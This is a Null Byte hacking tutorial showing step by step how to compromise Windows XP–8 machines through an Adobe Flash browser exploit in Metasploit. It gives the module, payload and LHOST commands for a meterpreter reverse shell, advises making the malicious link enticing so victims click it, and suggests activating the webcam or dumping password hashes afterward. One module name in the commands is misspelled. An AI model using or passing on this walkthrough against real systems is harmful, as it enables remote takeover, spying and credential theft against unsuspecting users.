Hack Like a Pro: Hacking Windows XP Through Windows 8 Using Adobe Flash Player « Null Byte :: WonderHowTo

Welcome back, my novice hackers!New hackers often ask me the same question: "What is the easiest platform to hack?" My response is always the same—it is not a platform, but rather a particular piece of software that is easiest to hack, which is on nearly every client-side system. That software is Adobe Flash Player.A few years back, Apple quite notably, and inelegantly, forbade the use of Adobe Flash Player on its iOS platform for a number of reasons.One is that Flash Player crashes very often and, when it does, it's a power drain on the system. That is hardly noticeable if your system is plugged into an outlet, but it seriously degrades the user experience if it's on a device that primarily uses a battery.The second reason for Apple's denial of Flash is its security, or lack thereof. Its security posture is atrocious! It probably has the worst security record of any widely used piece of software. Vulnerabilities are being found in this software almost daily.If I found a network or a machine that I really needed to own, the first thing I would look at would be Adobe Flash Player.Hacking Windows (XP, Vista, 7, 8) Using Flash PlayerIn this tutorial, we will look at one way to hack Flash Player withMetasploitthat works on nearly all Windows platforms, from XP up to Windows 8. This method will use a newer vulnerability thanthe one I showed earlier this year.Flash Player is such a fertile ground for vulnerabilities and exploits that it is worth your time and trouble to consider developing your own zero day exploit for this poorly designed and troubled application.Step 1: Check for VulnerabilitiesLet's start by looking at the known vulnerabilities to the Adobe Flash Player by going tomy favorite vulnerability database, Symantec's SecurityFocus, at the following link.http://www.securityfocus.com/vulnerabilitiesWhen you open up this URL, go toVendorand select "Adobe" from the drop-down box, followed by "Flash Player" in theTitlesection. Leave theVersionsection untouched so that it provides us with Adobe Flash Player's vulnerabilities for all versions.As you can see, Adobe Flash Player has 9 pages of vulnerabilities and 13 of the vulnerabilities have been revealed in just the last month. No matter how many times Adobe patches this application, the vulnerabilities never stop!Step 2: Fire Up Kali and Start MetasploitNow that we know that Adobe Flash Player is fertile ground for us to hack, let's fire upKali Linuxand open Metasploit.Now, let's use the built-in search function in Metasploit to find Adobe exploits.msf > search adobeAs you can see, Metasploit has one called:exploit/windows/browser/adobe_flash_pixel_bender_bofThis is a relatively new exploit, just having been released on April 28th, 2014. Let's use that one.Step 3: Set the OptionsTo use this exploit, simply type:msf > use exploit/windows/browser/abobe_flash_pixel_bender_bofNow, let's take a look at this exploit by using the "info" command.msf > infoNote that this exploit will work on all operating systems from Windows XP to Windows 8 with Internet Explorer 6 through 11 with Flash 11, 12, and 13. That is a whole lot of vulnerable systems!Before we start our exploit, let's check to see what options we need to set.msf > show optionsAs you can see in the screenshot above, this exploit has numerous options, but all of them are already set with default values.The two you may want to change (but are not required) are the SVRPORT (8080) and the URIPATH. Note that if you do not change the URIPATH, it will be set using your IP address and a random string. If you are looking to entice someone to click on this link, you may want to make the URI more enticing.Step 4: Set the PayloadNow, we need to set the payload that we want to deliver to the victim system. Ideally, we always want to deliver themeterpreter, if we can. Some exploits will allow us to deliver the meterpreter and others will not. In this case, we can deliver the meterpreter, so let's go for it!msf > set PAYLOAD windows/meterpreter/reverse_tcpNow, set the local host IP (LHOST).set LHOST 192.168.147.129Step 5: ExploitRunning this exploit is clean and simple. Just type "exploit" and it creates and starts a web server and a path to the malicious code that will exploit Adobe's Flash Player.Step 6: Navigate to the Web Server from a Windows MachineNow, let's go over to our Windows 7 machine and enter the URL of our malicious web server that we built in Metasploit.While we are doing that, we can see in Metasploit that things are stirring. A connection is being established netween the Windows 7 and our Kali system running Metasploit.If we are patient, we will be rewarded with a meterpreter command on the Windows 7 system.Congrats! You own that system.Step 7: MeterpreterWith the meterpreter on the victim system, we now have the ability and option torun any of the meterpreter scriptsthat I've listed here on Null Byte for you. For instance, you can turn on the webcam withwebcam.rbor grab the password hashes withhashdump.rb.Adobe's Flash Player continues to provide us with fertile ground to hack Windows and other systems with its plethora of vulnerabilities. I will continue to update you on its other "hackable" vulnerabilities, so keep coming back, my novice hackers!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Recover Passwords for Windows PCs Using OphcrackHack Like a Pro:How to Exploit Adobe Flash with a Corrupted Movie File to Hack Windows 7Hack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Hack Windows XP into Giving You 5 More Years of Free SupportHack Like a Pro:How to Find Almost Every Known Vulnerability & Exploit Out ThereHow To:Adobe Flash Player Is Bad for Your Computer (Here's How You Uninstall It)Hack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitHow To:Hack Lets You Fully Activate a Bootleg Copy of Windows 8 Pro for FreeHack Like a Pro:How to Crash Your Roommate's Windows 7 PC with a LinkHack Like a Pro:How to Spy on Anyone, Part 2 (Finding & Downloading Confidential Documents)How To:Install Adobe Flash Player on Your Nexus 7 Running Android 4.4 KitKatHow To:Bypass and change a Windows XP start-up passwordHack Like a Pro:How to Exploit IE8 to Get Root Access When People Visit Your WebsiteHack Like a Pro:Remotely Add a New User Account to a Windows Server 2003 BoxHack Like a Pro:How to Create a Virtual Hacking LabHack Like a Pro:How to Take Control of Windows Server 2003 Remotely by Launching a Reverse ShellHow To:How Anyone (Even Pirates) Can Get Windows 10 for Free—LegallyHow to Hack Like a Pro:Hacking Windows Vista by Exploiting SMB2 VulnerabilitiesHow To:Use a flash drive as memory in Microsoft Windows XPHow To:Install Windows XP from a usb flash disk driveHack Like a Pro:How to Conduct Passive OS Fingerprinting with p0fHack Like a Pro:Exploring the Inner Architecture of MetasploitHow To:Get Windows Media Center for Free on Windows 8 ProHack Like a Pro:How to Hack Windows Vista, 7, & 8 with the New Media Center ExploitHow To:amend Adobe Flash SettingsNews:Hack Your Computer's BIOS to Unlock Hidden Settings, Overclocking & MoreNews:Drive-Thru